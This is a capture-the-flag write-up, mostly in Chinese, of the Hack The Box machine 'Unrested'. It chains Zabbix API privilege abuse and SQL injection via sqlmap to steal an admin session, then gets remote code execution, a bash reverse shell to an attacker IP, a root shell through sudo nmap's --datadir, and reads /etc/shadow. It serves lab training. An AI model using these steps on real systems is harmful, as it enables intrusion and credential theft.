Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Unrested
從 80 端口開始探索。發現了 Zabbix 7.0.0 版本,於是尋找相關的 CVE 漏洞,嘗試利用 CVE-2024-42327,但未能成功,進而使用 Burp Suite 分析請求並修改 POC 代碼。隨後,通過進一步的谷歌搜索,發現了其他相關漏洞和文章,特別是利用特定 API 來獲取用戶 ID,並嘗試將自己加入具有特殊權限的組。通過 API 的 user.update 功能,進行了一系列組的爆破測試,確認了系統中存在的用戶組,並成功將自己加入管理員組。這使得能夠查詢到所有用戶,並驗證了 SQL 注入的可能性。使用 sqlmap 工具對數據庫進行進一步的挖掘,嘗試獲取 admin 的 sessionid,並最終成功獲得。通過這個 sessionid,利用 API 執行命令行操作,嘗試在主機上運行腳本。儘管新版本的限制需要開啟特定配置才能執行全局腳本,但通過修改現有腳本,強制返回 sessionid,成功獲得遠程代碼執行權限。接下來,通過 sudo 權限執行 nmap,利用其 –datadir 參數,指定自定義腳本路徑,最終成功提升到 root 權限。
這周出了一個退役機器,賬號密碼如下:
1 | As is common in real life pentests, |
同樣的,這裏我只記錄我完成的過程。
Recon
一開始當然是使用 nmap 掃一掃:
1 | PORT STATE SERVICE REASON VERSION |
Zabbix on 80 Port
看到 22 端口是打開的,由於 ssh 登陸不上去,所以只能從 80 這條路開始走。
既然給了賬號密碼,那就嘗試登陸看看:
結果看到版本 7.0.0 的 Zabbix
,所以第一步是去找有什麽 CVE 可以用。
Search some CVE for zabbix
直接打開瀏覽器谷歌搜索有什麽漏洞:
看到第一個 CVE ,所以直接找一下 POC
然後找到這個: https://github.com/compr00t/CVE-2024-42327
那當然是很開心的試一下,不過:
看起來不行,代理到 burp 看看發生了什麽,於是就隨便修改了 requests.post
的代碼:
根據上面的POC動手試了一下,
發現沒什麽有價值的東西,也不像有SQL的樣子,於是繼續谷歌搜索了一會,發現了這兩篇文章:
在第二篇文章中提到自己可以給自己增加到任意的組中:
由於有些組有特殊的權限,於是就可以利用 組的特殊權限來提權,但是上面需要 userid
和 usrgrpid
,目前也不知道 userid
是什麽,然後在 Zabbix 的官方文檔中找看看有沒有api可以顯示userid
,結果找到了 checkauthentication
這個API:https://www.zabbix.com/documentation/7.0/en/manual/api/reference/user/checkauthentication
Getting current user‘s userid and bruteforce usrgrpid
所以一開始需要先登錄:
得到的 result
其實就是 sessionid
,然後使用 user.checkAuthentication
就可以得到 userid
:
也就是說當前的 userid
是 3
,那麽問題又來了,有哪些組可以增加呢?
不知道有什麽組,但是使用 user.update
可以對當前用戶更新組,組的定義就是下面的 usrgrpid
,如果組不存在就會顯示 Object does not exist
。
既然不存在的時候顯示 Object does not exist
,這意味著可以從0到50進行爆破,下面就簡單的用一下 Intruder
來快速爆破看看:
等待了一段時間後,得到:
從掃描可以看出,系統存在 7-13 的用戶組,既然api支持增加多個組,那麽就可以嘗試暴力增加,如果出現錯誤就説明組不存在,如果沒出錯就繼續,所以如下:
最後得到:
1 | { |
不過這樣會有一個問題,如果增加多個組會導致權限衝突,最後就只是應用到一個組中:
所以暴力增加不少一個好選擇,然後繼續翻了下文檔,看到 管理員在組 7 :https://www.zabbix.com/documentation/7.0/en/manual/api/reference/user/get?hl=user.get
Add current user to zabbix administrators group (cve-2024-36467)
既然知道管理員是組7,那麽就自己給自己加進去組7:
1 | { |
然後使用 usergroup.get
看看是否增加成功,如果成功了就會返回當前用戶所在的組:
由於是把自己加入了 zabbix administrators
這個組,猜測這個組有特權,嘗試看看能不能看到其他用戶,所以使用 user.get
看一看:
好像可以查詢到所有用戶。
SQLi in user.get to get admin sessionid (CVE-2024-42327)
由於第一個 CVE 説的就是 user.get
,既然可以查詢到所有用戶,那麽就嘗試看看有沒有 SQL 注入,這裏的 payload 就是一開始的 exploit 提供的。
發送後結果真的卡了5秒,也就是說 SQli 是存在的,所以把注入的地方使用 *
來告訴 sqlmap
,然後保存到文件并且使用 sqlmap
跑一下:
1 | $ sqlmap -r req.txt |
結果 sqlmap
識別成功了,由於是 time-based injection
,所以速度非常慢,非常依賴網絡延遲,乾脆就看一下有什麽數據庫:
1 | $ sqlmap -r req.txt --dbs --batch --threads 10 |
那麽問題就來了,需要從數據庫裏面得到什麽?由於每次登錄的時候都需要輸入賬號密碼,從而得到一個 sessionid
,所以可以嘗試偷 admin 的sessionid
,這樣就可以使用 api 來做一些奇怪的東西。
問題是 admin 的 sessionid
會藏在數據庫的哪裏呢?由於這個框架是開源的,所以可以直接去 github
快速搜索一下初始化框架時執行的 sql
,這裏就是 schema.sql
:https://github.com/unix1986/zabbix/blob/master/database/mysql/schema.sql
看到表名是 sessions
,所以直接使用 sqlmap 來指定表名并且 dump 一下:
1 | $ sqlmap -r req.txt -D zabbix -T sessions --dump --batch --threads 10 |
成功的獲得了一個 sessionid
,然後試一下:
很可惜過期了,所以真正的sessionid
應該是最後的一條記錄,也就是底部,這裏可以直接使用 --sql-shell
,只需要一行 sql 語法就可以快速獲取最後一個 admin 的sessionid
:
1 | $ sqlmap -r req.txt --sql-shell --batch |
獲得后嘗試一下,
結果成功了獲得了 admin 的 sessionid
。
Add item to trigger command execution
既然成功了,老樣子直接使用api來運行命令行,先看一下那些主機是允許運行的:
Command execution with script.execute
谷歌查了一下,找到這個:https://www.exploit-db.com/exploits/39937
新建脚本沒問題,
但是運行的時候失敗了,因爲在新版本不允許使用 script 來運行命令行,需要在配置文件中開啓 EnableGlobalScripts
才可以這樣玩。
Command execution with item
繼續谷歌搜索找到了這個:https://github.com/Diefunction/ZabbixAPIAbuse
脚本裏面需要登陸,由於只有session id,沒有管理員的賬號密碼,所以改一下脚本,强制返回 session id:
運行后嘗試一下:
看來脚本沒問題,而且也得到了 rce ,這樣就隨便寫一個 reverse shell:
1 | bash -c '(/bin/bash -i >& /dev/tcp/10.10.16.31/2222 0>&1 &)' |
就可以得到shell:
Shell as zabbix
直接 sudo 看看,
結果看到了 nmap
允許sudo,那就嘗試尋找 gtfobins
運行後出現:
不對啊,我記得nmap沒有這種功能,於是看了一下路徑:
原來是脚本限制了,好在有 --datadir
:
Exploit nmap datadir to got root shell
當你使用 -sV
這個參數去掃描一些ip,nmap
就會去 datadir
裏面執行一些脚本,nmap 默認的datadir
是 /usr/share/nmap/
,由於可以指定 datadir
所以可以直接複製一份,然後修改裏面的内容讓他執行 shell ,那麽問題來了,我要怎麽知道他執行哪個文件?
1 | zabbix@unrested:~$ cp -r /usr/share/nmap/ nmap_data |
可以在本地中開啓一個 python3 -m http.server 2222
然後用 nmap
掃描,脚本掃描時肯定會有特徵,所以根據特徵就可以找到哪個脚本。
1 | zabbix@unrested:~$ sudo nmap -sV --datadir nmap_data 127.0.0.1 |
掃一下后,看到有一個 nmaplowercheck
的關鍵子,也就是說某個脚本裏有一個關鍵字是 nmaplowercheck
,使用 grep
快速定位到那個脚本,找到了之後就快速插入一行shell:
1 | zabbix@unrested:~/nmap_data$ grep "nmaplowercheck" -ri . |
保存了之後再掃描一次,就得到了root:
1 | zabbix@unrested:~$ sudo /usr/bin/nmap -sC 10.10.16.31 -p 80 --datadir ~/nmap_data/ |
Hashes
1 | root@unrested:/home/matthew# cat /etc/shadow |
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)